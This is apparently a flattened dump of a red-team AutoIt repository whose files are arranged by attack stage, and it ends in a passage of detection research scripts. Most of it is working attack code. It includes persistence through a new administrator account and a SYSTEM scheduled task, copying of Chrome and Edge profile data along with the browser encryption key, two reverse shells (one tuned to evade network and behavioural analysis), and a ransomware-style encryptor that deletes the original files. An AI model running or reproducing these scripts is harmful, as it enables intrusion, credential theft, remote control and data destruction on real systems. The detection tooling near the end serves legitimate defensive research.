was added to the Administrators group successfully.") 25 | Else 26 | MsgBox(16, "Error", "Failed to add the user to the Administrators group. Error code: " & $iReturn) 27 | EndIf 28 | EndFunc 29 | 30 | ; Parameters for the new user 31 | Local $sUsername = "NewUser" 32 | Local $sPassword = "P@ssw0rd123!" 33 | Local $sFullName = "New Local User" 34 | 35 | ; Create the user 36 | _CreateUser($sUsername, $sPassword, $sFullName) 37 | -------------------------------------------------------------------------------- /5 - Peristence/CreateNewUser.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/5 - Peristence/CreateNewUser.exe -------------------------------------------------------------------------------- /5 - Peristence/PersistViaScheduledTask.au3: -------------------------------------------------------------------------------- 1 | #comments-start 2 | 3 | This script will need to be compiled to an excecutable via AutoIT and you will have to run it as an administrator. It will be most effective it is combined with a Privilege Escaltion, UAC bypass, or Social Engineering. It probably goes without saying, but you will want to change the file from calc.exe to whatever payload you want to test, and you may want to rename the scheduled task. Side note, the script will fail if there is already a scheduled task of a given name, so you will want to increment the task name with a number each time if you conduct multiple successive tests on the same host. Happy task scheduling! 4 | 5 | #comments-end 6 | 7 | #include 8 | 9 | ; Get the current working directory for the output file 10 | Global $sCurrentDir = @ScriptDir 11 | Global $sOutputFile = $sCurrentDir & "\output.txt" 12 | 13 | ; Define the time delay (24 hours from now) 14 | Global $sTime = _DateAdd('h', 24, _NowCalc()) 15 | 16 | ; Check if the time calculation was successful 17 | If @error Then 18 | FileWrite($sOutputFile, "Error calculating the time for 24 hours from now." & @CRLF) 19 | Exit 20 | EndIf 21 | 22 | ; Split the date and time 23 | Global $aDateTime = StringSplit($sTime, ' ') 24 | If $aDateTime[0] <> 2 Then 25 | FileWrite($sOutputFile, "Error splitting the date and time." & @CRLF) 26 | Exit 27 | EndIf 28 | 29 | ; Split the date into its components (handle slashes) 30 | Global $aDateParts = StringSplit($aDateTime[1], '/') 31 | If $aDateParts[0] <> 3 Then 32 | FileWrite($sOutputFile, "Error splitting the date into components." & @CRLF) 33 | Exit 34 | EndIf 35 | 36 | ; Format the date and time for the scheduled task 37 | Global $sFormattedDate = $aDateParts[2] & "/" & $aDateParts[3] & "/" & $aDateParts[1] 38 | Global $sFormattedTime = StringLeft($aDateTime[2], 5) 39 | 40 | ; Define the task name and the executable to run 41 | Global $sTaskName = "ScheduledTaskTest1" 42 | Global $sExecutable = "calc.exe" 43 | 44 | ; Create the scheduled task command 45 | Global $sCommand = 'SCHTASKS /CREATE /SC ONCE /TN "' & $sTaskName & '" /TR "' & $sExecutable & '" /ST ' & $sFormattedTime & ' /SD ' & $sFormattedDate & ' /RU "SYSTEM" /F > "' & $sOutputFile & '" 2>&1' 46 | 47 | ; Debugging: Write the command to the output file 48 | FileWrite($sOutputFile, "Command: " & $sCommand & @CRLF) 49 | 50 | ; Run the command 51 | RunWait(@ComSpec & " /c " & $sCommand, "", @SW_HIDE) 52 | 53 | ; Check if the command was successful 54 | If @error Then 55 | FileWrite($sOutputFile, "Error creating the scheduled task." & @CRLF) 56 | Else 57 | FileWrite($sOutputFile, "Scheduled task created to run calc.exe after 24 hours." & @CRLF) 58 | EndIf 59 | 60 | Exit 61 | -------------------------------------------------------------------------------- /5 - Peristence/PersistViaScheduledTask.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/5 - Peristence/PersistViaScheduledTask.exe -------------------------------------------------------------------------------- /5 - Peristence/ReadMe.md: -------------------------------------------------------------------------------- 1 | The CreateNewUser and AddScriptToRegistry scripts were adapted from the original AHK work contributed by AnuraTheAmphibian. These original scripts have been moved to a new repository, called AutoPwnKey. Most of these require run as administrator to work, although the AddScriptToRegistry.au3 seems to work via the AutoIT interpreter also. 2 | -------------------------------------------------------------------------------- /6 - Credential Access/chromeDump.au3: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | ; Set the path to your Chrome user data directory 6 | Local $chromeDataPath = @LocalAppDataDir & "\Google\Chrome\User Data" 7 | 8 | ; Set the backup destination to the root directory in a folder called 'tmp' 9 | Local $backupPath = "C:\tmp\ChromeBackup_" & @YEAR & @MON & @MDAY & "_" & @HOUR & @MIN 10 | 11 | ; Create the backup directory 12 | DirCreate($backupPath) 13 | 14 | ; Function to copy a directory 15 | Func _CopyDirectory($source, $destination) 16 | DirCreate($destination) 17 | FileCopy($source & "\*.*", $destination, $FC_OVERWRITE + $FC_CREATEPATH) 18 | 19 | Local $search = FileFindFirstFile($source & "\*.*") 20 | While 1 21 | Local $file = FileFindNextFile($search) 22 | If @error Then ExitLoop 23 | 24 | If @extended Then 25 | If $file <> "." And $file <> ".." Then 26 | _CopyDirectory($source & "\" & $file, $destination & "\" & $file) 27 | EndIf 28 | EndIf 29 | WEnd 30 | FileClose($search) 31 | EndFunc 32 | 33 | ; Backup important Chrome data 34 | _CopyDirectory($chromeDataPath & "\Default", $backupPath & "\Default") 35 | 36 | ; Backup additional profiles if they exist 37 | Local $search = FileFindFirstFile($chromeDataPath & "\Profile *") 38 | While 1 39 | Local $profile = FileFindNextFile($search) 40 | If @error Then ExitLoop 41 | 42 | _CopyDirectory($chromeDataPath & "\" & $profile, $backupPath & "\" & $profile) 43 | WEnd 44 | FileClose($search) 45 | 46 | ; Backup the 'Local State' file - contains encryption key 47 | FileCopy($chromeDataPath & "\Local State", $backupPath & "\Local State", $FC_OVERWRITE) 48 | -------------------------------------------------------------------------------- /6 - Credential Access/edgeDump.au3: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | ; Set the path to your Edge user data directory 6 | Local $edgeDataPath = @LocalAppDataDir & "\Microsoft\Edge\User Data" 7 | 8 | ; Set the backup destination to the root directory in a folder called 'tmp' 9 | Local $backupPath = "C:\tmp\EdgeBackup_" & @YEAR & @MON & @MDAY & "_" & @HOUR & @MIN 10 | 11 | ; Create the backup directory 12 | DirCreate($backupPath) 13 | 14 | ; Function to copy a directory 15 | Func _CopyDirectory($source, $destination) 16 | DirCreate($destination) 17 | FileCopy($source & "\*.*", $destination, $FC_OVERWRITE + $FC_CREATEPATH) 18 | 19 | Local $search = FileFindFirstFile($source & "\*.*") 20 | While 1 21 | Local $file = FileFindNextFile($search) 22 | If @error Then ExitLoop 23 | 24 | If @extended Then 25 | If $file <> "." And $file <> ".." Then 26 | _CopyDirectory($source & "\" & $file, $destination & "\" & $file) 27 | EndIf 28 | EndIf 29 | WEnd 30 | FileClose($search) 31 | EndFunc 32 | 33 | ; Backup important Edge data 34 | _CopyDirectory($edgeDataPath & "\Default", $backupPath & "\Default") 35 | 36 | ; Backup additional profiles if they exist 37 | Local $search = FileFindFirstFile($edgeDataPath & "\Profile *") 38 | While 1 39 | Local $profile = FileFindNextFile($search) 40 | If @error Then ExitLoop 41 | 42 | _CopyDirectory($edgeDataPath & "\" & $profile, $backupPath & "\" & $profile) 43 | WEnd 44 | FileClose($search) 45 | 46 | ; Backup the 'Local State' file 47 | FileCopy($edgeDataPath & "\Local State", $backupPath & "\Local State", $FC_OVERWRITE) 48 | -------------------------------------------------------------------------------- /7 - Lateral Movement/DownLoadandInstallProgram.au3: -------------------------------------------------------------------------------- 1 | #comments-start 2 | 3 | This is a simple script to install Putty on a host, but it can be easily modified to install some other simple program. You will need to compile the AutoIT script to an executable and then run as administrator for this one. Note that the download locations for Putty will vary over time, so the basic idea is to alter this to fit what you are trying to install. 4 | 5 | #comments-end 6 | 7 | 8 | 9 | #include 10 | #include 11 | 12 | ; Define the URL for the PuTTY installer 13 | Global $sURL = "https://the.earth.li/~sgtatham/putty/latest/w64/putty-64bit-0.81-installer.msi" 14 | Global $sInstallerPath = @ScriptDir & "\putty-installer.msi" 15 | 16 | ; Download the PuTTY installer 17 | InetGet($sURL, $sInstallerPath, $INET_FORCERELOAD) 18 | 19 | ; Check if the download was successful 20 | If FileExists($sInstallerPath) Then 21 | MsgBox($MB_SYSTEMMODAL, "Download Complete", "PuTTY installer downloaded successfully.") 22 | Else 23 | MsgBox($MB_SYSTEMMODAL, "Download Failed", "Failed to download the PuTTY installer.") 24 | Exit 25 | EndIf 26 | 27 | ; Install PuTTY 28 | RunWait('msiexec.exe /i "' & $sInstallerPath & '" /quiet /norestart', @SystemDir) 29 | 30 | ; Check if the installation was successful 31 | If FileExists(@ProgramFilesDir & "\PuTTY\putty.exe") Or FileExists(@ProgramFilesDir & "\PuTTY\putty.exe") Then 32 | MsgBox($MB_SYSTEMMODAL, "Installation Complete", "PuTTY installed successfully.") 33 | Else 34 | MsgBox($MB_SYSTEMMODAL, "Installation Failed", "PuTTY installation failed.") 35 | EndIf 36 | 37 | Exit 38 | -------------------------------------------------------------------------------- /7 - Lateral Movement/RDPconnect.au3: -------------------------------------------------------------------------------- 1 | #comments-start 2 | 3 | You will need to update the address and username for this script to work. While I tried to get this to pass along the password for a more seamless experience, that part did not really work, in the sense that it prompted for it anyway. That said, it does not really matter, because if you are in this stage of an engagement it ment that credential access gave you what you needed to connect to another host, so typing it in again is probably not a big deal. 4 | 5 | #comments-end 6 | 7 | #include 8 | #include 9 | 10 | ; Define the RDP connection settings 11 | Global $sFullAddress = "URL:port" 12 | Global $sUsername = "~\username" 13 | Global $sPassword = "Password" 14 | Global $sRdpFile = @ScriptDir & "\connection.rdp" 15 | 16 | ; Store the credentials using cmdkey 17 | RunWait(@ComSpec & " /c cmdkey /generic:" & $sFullAddress & " /user:" & $sUsername & " /pass:" & $sPassword, "", @SW_HIDE) 18 | 19 | ; Create the RDP file content 20 | Global $sRdpContent = "full address:s:" & $sFullAddress & @CRLF & _ 21 | "prompt for credentials:i:0" & @CRLF & _ 22 | "username:s:" & $sUsername & @CRLF 23 | 24 | ; Write the RDP file 25 | Global $hFile = FileOpen($sRdpFile, $FO_OVERWRITE) 26 | If $hFile = -1 Then 27 | MsgBox($MB_SYSTEMMODAL, "Error", "Unable to create the RDP file.") 28 | Exit 29 | EndIf 30 | 31 | FileWrite($hFile, $sRdpContent) 32 | FileClose($hFile) 33 | 34 | ; Launch the RDP connection 35 | Run("mstsc.exe " & $sRdpFile) 36 | 37 | -------------------------------------------------------------------------------- /8 - Command and Control/obuscated_reverse_shell.au3: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | Global $IPAddress = "10.0.2.4" 4 | Global $Port = 1234 5 | 6 | Func RunShell() 7 | TCPStartup() 8 | Local $socket = TCPConnect($IPAddress, $Port) 9 | 10 | If @error Then 11 | Exit 12 | EndIf 13 | 14 | Local $terminate = False 15 | 16 | While Not $terminate 17 | Local $recv = TCPRecv($socket, 1024) 18 | If @error Or $recv = "" Then ContinueLoop 19 | 20 | ; Split the command received from attacker 21 | Local $commands = StringSplit($recv, @CRLF) 22 | 23 | For $i = 1 To $commands[0] 24 | If $commands[$i] = "terminate_shell" Then 25 | $terminate = True 26 | ExitLoop 27 | EndIf 28 | 29 | Local $output = ExecuteCommand($commands[$i]) 30 | TCPSend($socket, $output & @CRLF) 31 | 32 | ; Add some delay to evade simple network traffic analysis 33 | Sleep(Random(500, 1500)) 34 | Next 35 | 36 | ; Add randomness in command execution order to evade behavioral analysis 37 | _ArrayShuffle($commands, 1) 38 | WEnd 39 | 40 | TCPCloseSocket($socket) 41 | TCPShutdown() 42 | EndFunc 43 | 44 | Func ExecuteCommand($cmd) 45 | Local $stream = Run(@ComSpec & " /c " & $cmd, @SystemDir, @SW_HIDE, $STDERR_CHILD + $STDOUT_CHILD) 46 | Local $output = "" 47 | 48 | While 1 49 | $line = StdoutRead($stream) 50 | If @error Then ExitLoop 51 | $output &= $line 52 | WEnd 53 | 54 | Return $output 55 | EndFunc 56 | 57 | RunShell() 58 | -------------------------------------------------------------------------------- /8 - Command and Control/reverse_shell.au3: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | Global $IPAddress = "" 4 | Global $Port = 1234 5 | 6 | Func RunShell() 7 | TCPStartup() 8 | Local $socket = TCPConnect($IPAddress, $Port) 9 | 10 | If @error Then 11 | MsgBox(16, "Error", "Failed to connect to " & $IPAddress & ":" & $Port) 12 | Exit 13 | EndIf 14 | 15 | Local $terminate = False 16 | 17 | While Not $terminate 18 | Local $recv = TCPRecv($socket, 1024) 19 | If @error Or $recv = "" Then ContinueLoop 20 | 21 | ; Split the command received from attacker 22 | Local $commands = StringSplit($recv, @CRLF) 23 | 24 | For $i = 1 To $commands[0] 25 | If $commands[$i] = "terminate_shell" Then 26 | $terminate = True 27 | ExitLoop 28 | EndIf 29 | 30 | Local $output = ExecuteCommand($commands[$i]) 31 | TCPSend($socket, $output & @CRLF) 32 | Next 33 | WEnd 34 | 35 | TCPCloseSocket($socket) 36 | TCPShutdown() 37 | EndFunc 38 | 39 | Func ExecuteCommand($cmd) 40 | Local $stream = Run(@ComSpec & " /c " & $cmd, @SystemDir, @SW_HIDE, $STDERR_CHILD + $STDOUT_CHILD) 41 | Local $output = "" 42 | 43 | While 1 44 | $line = StdoutRead($stream) 45 | If @error Then ExitLoop 46 | $output &= $line 47 | WEnd 48 | 49 | Return $output 50 | EndFunc 51 | 52 | RunShell() 53 | -------------------------------------------------------------------------------- /9 - Impact/AutoCryptIT.au3: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | ; Set the folder path to current user's Documents directory 10 | Local $folderPath = @MyDocumentsDir 11 | Local $passwordFilePath = @ScriptDir & "\\encryption_password.txt" 12 | Local $logFilePath = @ScriptDir & "\\encryption_log.txt" 13 | Local $encryptAllFiles = False 14 | 15 | ; Check for -all flag 16 | For $i = 1 To $CmdLine[0] 17 | If $CmdLine[$i] = "-all" Then 18 | $encryptAllFiles = True 19 | ExitLoop 20 | EndIf 21 | Next 22 | 23 | ; Function to log messages 24 | Func LogMessage($message) 25 | Local $timestamp = _NowCalc() 26 | Local $logEntry = $timestamp & " - " & $message & @CRLF 27 | FileWrite($logFilePath, $logEntry) 28 | ConsoleWrite($logEntry) ; Also write to console for immediate feedback 29 | EndFunc 30 | 31 | ; Generate a strong random password (16 characters) 32 | Local $password = "" 33 | Local $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+-=[]{}|;:,.<>?" 34 | For $i = 1 To 16 35 | $password &= StringMid($chars, Random(1, StringLen($chars), 1), 1) 36 | Next 37 | 38 | LogMessage("Encryption process started for directory: " & $folderPath) 39 | 40 | ; Function to recursively encrypt files in a directory 41 | Func EncryptFiles($directory) 42 | Local $search = FileFindFirstFile($directory & "\\*") 43 | If $search = -1 Then 44 | LogMessage("No files found in: " & $directory) 45 | Return 0 46 | EndIf 47 | 48 | Local $file, $filePath, $encryptedCount = 0 49 | While 1 50 | $file = FileFindNextFile($search) 51 | If @error Then ExitLoop 52 | 53 | $filePath = $directory & "\\" & $file 54 | 55 | ; If it's a directory, recursively encrypt its contents 56 | If StringInStr(FileGetAttrib($filePath), "D") Then 57 | $encryptedCount += EncryptFiles($filePath) 58 | ContinueLoop 59 | EndIf 60 | 61 | ; Skip already encrypted files and system files 62 | If StringRight($file, 10) = ".encrypted" Or StringInStr(FileGetAttrib($filePath), "S") Then 63 | LogMessage("Skipped: " & $filePath) 64 | ContinueLoop 65 | EndIf 66 | 67 | ; Check if the file should be encrypted 68 | If Not $encryptAllFiles And StringRight($file, 4) <> ".txt" Then 69 | LogMessage("Skipped non-txt file: " & $filePath) 70 | ContinueLoop 71 | EndIf 72 | 73 | LogMessage("Attempting to encrypt: " & $filePath) 74 | 75 | Local $fileContent = FileRead($filePath) 76 | If @error Then 77 | LogMessage("Error: Failed to read file: " & $filePath & " (Error code: " & @error & ")") 78 | ContinueLoop 79 | EndIf 80 | 81 | ; Encrypt the file content 82 | Local $encryptedContent = _Crypt_EncryptData($fileContent, $password, $CALG_AES_256) 83 | 84 | If @error Then 85 | LogMessage("Error: Failed to encrypt file: " & $filePath & " (Error code: " & @error & ")") 86 | ContinueLoop 87 | EndIf 88 | 89 | ; Write the encrypted content back to the file 90 | If FileWrite($filePath & ".encrypted", $encryptedContent) Then 91 | ; Delete the original file 92 | If FileDelete($filePath) Then 93 | $encryptedCount += 1 94 | LogMessage("Successfully encrypted and deleted original: " & $filePath) 95 | Else 96 | LogMessage("Error: Encrypted but failed to delete original: " & $filePath & " (Error code: " & @error & ")") 97 | EndIf 98 | Else 99 | LogMessage("Error: Failed to write encrypted file: " & $filePath & " (Error code: " & @error & ")") 100 | EndIf 101 | WEnd 102 | 103 | FileClose($search) 104 | Return $encryptedCount 105 | EndFunc 106 | 107 | ; Encrypt files in the current user's Documents directory 108 | Local $encryptedCount = EncryptFiles($folderPath) 109 | 110 | ; Save password to file 111 | If FileWrite($passwordFilePath, $password) Then 112 | LogMessage("Password saved to file: " & $passwordFilePath) 113 | Else 114 | LogMessage("Error: Failed to save password to file (Error code: " & @error & ")") 115 | EndIf 116 | 117 | ; Display success message and password 118 | If $encryptedCount > 0 Then 119 | LogMessage($encryptedCount & " file(s) encrypted successfully") 120 | ConsoleWrite(@CRLF & "Encryption Complete" & @CRLF) 121 | ConsoleWrite($encryptedCount & " file(s) in " & $folderPath & " have been encrypted." & @CRLF & @CRLF) 122 | ConsoleWrite("The encryption password is: " & $password & @CRLF) 123 | ConsoleWrite("This password has also been saved to: " & $passwordFilePath & @CRLF) 124 | Else 125 | LogMessage("Error: No files were encrypted") 126 | ConsoleWrite(@CRLF & "Error: No files were encrypted. Please check the log for details." & @CRLF) 127 | EndIf 128 | 129 | LogMessage("Encryption process completed") -------------------------------------------------------------------------------- /9 - Impact/AutoDecryptIT.au3: -------------------------------------------------------------------------------- 1 | #cs ---------------------------------------------------------------------------- 2 | 3 | AutoIt Version: 3.3.16.1 4 | Author: BypassIT Research Team 5 | 6 | Script Function: 7 | Decrypts all encrypted files in the current user's Documents directory, 8 | including binary files like images. Prompts for password and logs operations. 9 | 10 | #ce ---------------------------------------------------------------------------- 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | ; Set the folder path to current user's Documents directory 21 | Local $folderPath = @MyDocumentsDir 22 | Local $logFilePath = @ScriptDir & "\\decryption_log.txt" 23 | 24 | ; Function to log messages 25 | Func LogMessage($message) 26 | Local $timestamp = _NowCalc() 27 | Local $logEntry = $timestamp & " - " & $message & @CRLF 28 | FileWrite($logFilePath, $logEntry) 29 | ConsoleWrite($logEntry) ; Also write to console for immediate feedback 30 | EndFunc 31 | 32 | ; Prompt for password 33 | Local $password = InputBox("Decryption Password", "Enter the decryption password:", "", "*") 34 | If @error Then 35 | LogMessage("Decryption cancelled: No password entered") 36 | MsgBox($MB_ICONERROR, "Error", "Decryption cancelled: No password entered") 37 | Exit 38 | EndIf 39 | 40 | LogMessage("Decryption process started for directory: " & $folderPath) 41 | 42 | ; Function to recursively decrypt files in a directory 43 | Func DecryptFiles($directory, ByRef $decryptedCount, ByRef $failedCount) 44 | Local $search = FileFindFirstFile($directory & "\\*") 45 | If $search = -1 Then 46 | LogMessage("No files found in: " & $directory) 47 | Return 48 | EndIf 49 | 50 | Local $file, $filePath 51 | While 1 52 | $file = FileFindNextFile($search) 53 | If @error Then ExitLoop 54 | 55 | $filePath = $directory & "\\" & $file 56 | 57 | ; If it's a directory, recursively decrypt its contents 58 | If StringInStr(FileGetAttrib($filePath), "D") Then 59 | DecryptFiles($filePath, $decryptedCount, $failedCount) 60 | ContinueLoop 61 | EndIf 62 | 63 | ; Only process .encrypted files 64 | If StringRight($file, 10) <> ".encrypted" Then 65 | ContinueLoop 66 | EndIf 67 | 68 | LogMessage("Attempting to decrypt: " & $filePath) 69 | 70 | ; Read the file as binary 71 | Local $encryptedContent = FileRead($filePath) 72 | If @error Then 73 | LogMessage("Error: Failed to read file: " & $filePath & " (Error code: " & @error & ")") 74 | $failedCount += 1 75 | ContinueLoop 76 | EndIf 77 | 78 | ; Decrypt the file content 79 | Local $decryptedContent = _Crypt_DecryptData($encryptedContent, $password, $CALG_AES_256) 80 | 81 | If @error Then 82 | LogMessage("Error: Failed to decrypt file: " & $filePath & " (Error code: " & @error & ")") 83 | $failedCount += 1 84 | ContinueLoop 85 | EndIf 86 | 87 | ; Write the decrypted content back to the file (without .encrypted extension) 88 | Local $originalFilePath = StringTrimRight($filePath, 10) 89 | If FileWrite($originalFilePath, $decryptedContent) Then 90 | ; Delete the encrypted file 91 | If FileDelete($filePath) Then 92 | $decryptedCount += 1 93 | LogMessage("Successfully decrypted and deleted encrypted file: " & $filePath) 94 | Else 95 | LogMessage("Error: Decrypted but failed to delete encrypted file: " & $filePath & " (Error code: " & @error & ")") 96 | EndIf 97 | Else 98 | LogMessage("Error: Failed to write decrypted file: " & $originalFilePath & " (Error code: " & @error & ")") 99 | $failedCount += 1 100 | EndIf 101 | WEnd 102 | 103 | FileClose($search) 104 | EndFunc 105 | 106 | ; Initialize counters 107 | Local $decryptedCount = 0 108 | Local $failedCount = 0 109 | 110 | ; Decrypt all encrypted files in the current user's Documents directory 111 | DecryptFiles($folderPath, $decryptedCount, $failedCount) 112 | 113 | ; Display success message 114 | If $decryptedCount > 0 Or $failedCount > 0 Then 115 | LogMessage($decryptedCount & " file(s) decrypted successfully") 116 | If $failedCount > 0 Then 117 | LogMessage($failedCount & " file(s) failed to decrypt") 118 | EndIf 119 | ConsoleWrite(@CRLF & "Decryption Complete" & @CRLF) 120 | ConsoleWrite($decryptedCount & " file(s) in " & $folderPath & " have been decrypted." & @CRLF) 121 | If $failedCount > 0 Then 122 | ConsoleWrite($failedCount & " file(s) failed to decrypt. Check the log for details." & @CRLF) 123 | EndIf 124 | Else 125 | LogMessage("Error: No files were decrypted") 126 | ConsoleWrite(@CRLF & "Error: No files were decrypted. Please check the log for details." & @CRLF) 127 | EndIf 128 | 129 | LogMessage("Decryption process completed") 130 | 131 | MsgBox($MB_ICONINFORMATION, "Decryption Complete", $decryptedCount & " file(s) decrypted successfully." & @CRLF & _ 132 | $failedCount & " file(s) failed to decrypt." & @CRLF & @CRLF & _ 133 | "Please check the log file for details: " & @CRLF & $logFilePath) -------------------------------------------------------------------------------- /9 - Impact/autoCrypt.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/9 - Impact/autoCrypt.exe -------------------------------------------------------------------------------- /9 - Impact/autoDecrypt.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/9 - Impact/autoDecrypt.exe -------------------------------------------------------------------------------- /Detection/ioc/imphash: -------------------------------------------------------------------------------- 1 | afcdf79be1557326c854b6e20cb900a7 2 | 36603b42a93421cfa64e8207b9ee7696 -------------------------------------------------------------------------------- /Detection/research/README-RESEARCH.MD: -------------------------------------------------------------------------------- 1 | # Imphash Research Tool 2 | This Python script is designed to scan executable files within a specified directory and compute their import hashes (imphashes). The imphash serves as a unique identifier for the set of imported functions in an executable, making it valuable in malware analysis and detection. It processes all identified PE (Portable Executable) format files, computes their imphashes, and reports the most common ones. 3 | 4 | ## Purpose 5 | - Scan a specified directory for executable files. 6 | - Identify PE files and extract their import hash values. 7 | - Compute and report the most common import hashes from these files. 8 | 9 | ## Dependencies 10 | - Python 3.x 11 | - `pefile`: A Python library for parsing and analyzing PE files, installable via pip (`pip install pefile`). 12 | 13 | # YARA Rule Analysis Tool 14 | This script helps in assessing which YARA rules are most effective by processing the results of multiple YARA scans conducted across various targets. It identifies the frequency with which each rule is triggered and provides a summary of the total unique rules encountered during the scan. 15 | 16 | ## Purpose 17 | - Process files containing the output from multiple YARA scans. 18 | - Determine which YARA rules are most frequently triggered. 19 | - Report on the statistics related to the frequency and uniqueness of these rules. 20 | 21 | ## Dependencies 22 | - Python 3.x 23 | - Standard libraries: `sys` for command line argument processing, and `collections` for efficient handling of rule hit counts. 24 | 25 | # AutoIT Malware Analysis Tool 26 | This script is designed to analyze AutoIT scripts suspected of being used for malware purposes by examining their content for potential malicious indicators such as suspicious functions or behaviors found in known malware samples written in AutoIT. 27 | 28 | ## Purpose 29 | - Analyze the content of a given AutoIT script file to extract patterns indicative of potential malware. 30 | - Provide recommendations on how to handle or mitigate identified threats based on analysis results. 31 | 32 | ## Dependencies 33 | - Python 3.x 34 | - External libraries: `requests` for downloading samples (if applicable, depending on implementation details), and standard libraries such as `os`, `argparse`, and `re` for various string operations and pattern matching necessary for the analysis process. 35 | -------------------------------------------------------------------------------- /Detection/research/imphash_research.py: -------------------------------------------------------------------------------- 1 | """ 2 | Title: Import Hash Analysis Tool 3 | Author: BypassIT Research Team 4 | Date Created: August 7th, 2024 5 | Last Modified: August 7th, 2024 6 | Description: 7 | This script is designed to analyze executable files in a specified directory and compute their import hashes (imphash). The imphash is used as a unique identifier for the set of imported functions within an executable. This tool scans through all files in the given directory, identifies PE (Portable Executable) format files, computes their imphash, and then reports the most common import hashes found. 8 | Dependencies: 9 | - Python 3.x 10 | - pefile library (pip install pefile) for parsing PE files 11 | - argparse module for command line argument processing 12 | Usage: 13 | 1. Install the required pefile library using pip: pip install pefile 14 | 2. Run the script from the command line and provide the path to the directory you want to scan as an argument. Example: python3 imphash_research.py /path/to/directory 15 | 3. The script will output the most common import hashes found in the specified directory, along with their respective counts. 16 | """ 17 | 18 | import os 19 | import pefile 20 | from collections import Counter 21 | import argparse 22 | 23 | def get_imphash(file_path): 24 | try: 25 | pe = pefile.PE(file_path) 26 | return pe.get_imphash() 27 | except Exception: 28 | return None 29 | 30 | def get_files_in_directory(directory): 31 | file_paths = [] 32 | for root, _, files in os.walk(directory): 33 | for file in files: 34 | file_path = os.path.join(root, file) 35 | file_paths.append(file_path) 36 | return file_paths 37 | 38 | def main(directory): 39 | imphash_counter = Counter() 40 | 41 | # Get the list of files in the directory 42 | file_paths = get_files_in_directory(directory) 43 | 44 | # Calculate imphash for each file and update the counter 45 | for file_path in file_paths: 46 | imphash = get_imphash(file_path) 47 | if imphash is not None: 48 | imphash_counter[imphash] += 1 49 | 50 | # Print the most common imphashes 51 | print("Most common imphashes and their counts:") 52 | for imphash, count in imphash_counter.most_common(10): 53 | print(f"Imphash: {imphash}, Count: {count}") 54 | 55 | if __name__ == "__main__": 56 | parser = argparse.ArgumentParser(description="Scan a directory for executable files and compute their import hashes.") 57 | parser.add_argument("directory", type=str, help="Path to the directory to scan") 58 | 59 | args = parser.parse_args() 60 | 61 | main(args.directory) -------------------------------------------------------------------------------- /Detection/research/rule_assesment.py: -------------------------------------------------------------------------------- 1 | """ 2 | Title: YARA Rule Analysis Tool 3 | Author: BypassIT Research Team 4 | Date Created: August 7th, 2024 5 | Last Modified: August 7th, 2024 6 | Description: 7 | This script is designed to analyze the output of multiple YARA scans. It processes a file containing the results of various YARA rule executions and provides insights into which rules were triggered most frequently across different files. The tool also reports on the total number of unique rules encountered during the scan. 8 | Dependencies: 9 | - Python 3.x (ensure it's installed in your environment) 10 | - sys module for command line argument processing 11 | - collections module to handle rule hit counts efficiently 12 | Usage: 13 | 1. Ensure you have a Python interpreter capable of running this script. 14 | 2. Run the script from the command line by providing the path to the YARA results file as an argument. Example: python3 rule_assesment.py yara_results.txt 15 | 3. The script will output the rules with the most hits and provide statistics on the total number of unique files and rules scanned. 16 | """ 17 | 18 | import sys 19 | from collections import defaultdict 20 | 21 | def analyze_yara_output(file_path): 22 | rule_hits = defaultdict(int) 23 | total_files = set() 24 | 25 | try: 26 | with open(file_path, 'r') as f: 27 | for line in f: 28 | parts = line.strip().split() 29 | if len(parts) >= 2: 30 | rule = parts[0] 31 | file = parts[-1] 32 | rule_hits[rule] += 1 33 | total_files.add(file) 34 | 35 | print("Rules with most hits:") 36 | for rule, hits in sorted(rule_hits.items(), key=lambda x: x[1], reverse=True): 37 | print(f"{rule}: {hits} hits") 38 | 39 | print(f"\nTotal unique rules: {len(rule_hits)}") 40 | print(f"Total files scanned: {len(total_files)}") 41 | 42 | except FileNotFoundError: 43 | print(f"Error: The file '{file_path}' was not found.") 44 | except Exception as e: 45 | print(f"An error occurred: {e}") 46 | 47 | if __name__ == "__main__": 48 | if len(sys.argv) != 2: 49 | print("Usage: python script_name.py ") 50 | sys.exit(1) 51 | 52 | yara_results_file = sys.argv[1] 53 | analyze_yara_output(yara_results_file) -------------------------------------------------------------------------------- /Detection/research/sample_autoit_malware.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Title: AutoIT Malware Analysis Tool 5 | Author: BypassIT Research Team 6 | Date Created: August 7th, 2024 7 | Last Modified: August 7th, 2024 8 | Description: 9 | This script is designed to analyze AutoIT scripts that are suspected of being used for malware purposes. It reads the content of a given AutoIT script file and extracts potential malicious indicators such as suspicious functions or behaviors commonly found in known malware samples written in AutoIT. The tool also provides recommendations on how to mitigate such threats if detected. 10 | Dependencies: 11 | - Python 3.x (ensure it's installed in your environment) 12 | - sys module for command line argument processing 13 | - re and other standard libraries for string pattern matching and analysis 14 | Usage: 15 | 1. Ensure you have a Python interpreter capable of running this script. 16 | 2. Run the script from the command line by providing the path to the AutoIT script file as an argument. Example: python3 sample_autoit_malware.py /path/to/malicious.au3 17 | 3. The script will output any potential malicious indicators found in the provided AutoIT script and provide recommendations on how to handle such threats. 18 | """ 19 | 20 | import requests 21 | import os 22 | import argparse 23 | import sys 24 | import pyzipper 25 | 26 | # Configuration 27 | API_URL = "https://mb-api.abuse.ch/api/v1/" 28 | TAG = "AutoIT" 29 | DOWNLOAD_DIR = "downloads" 30 | ZIP_PASSWORD = b'infected' 31 | HEADERS = { 'API-KEY': '' } # Add your API Key if needed 32 | 33 | # Ensure download directory exists 34 | 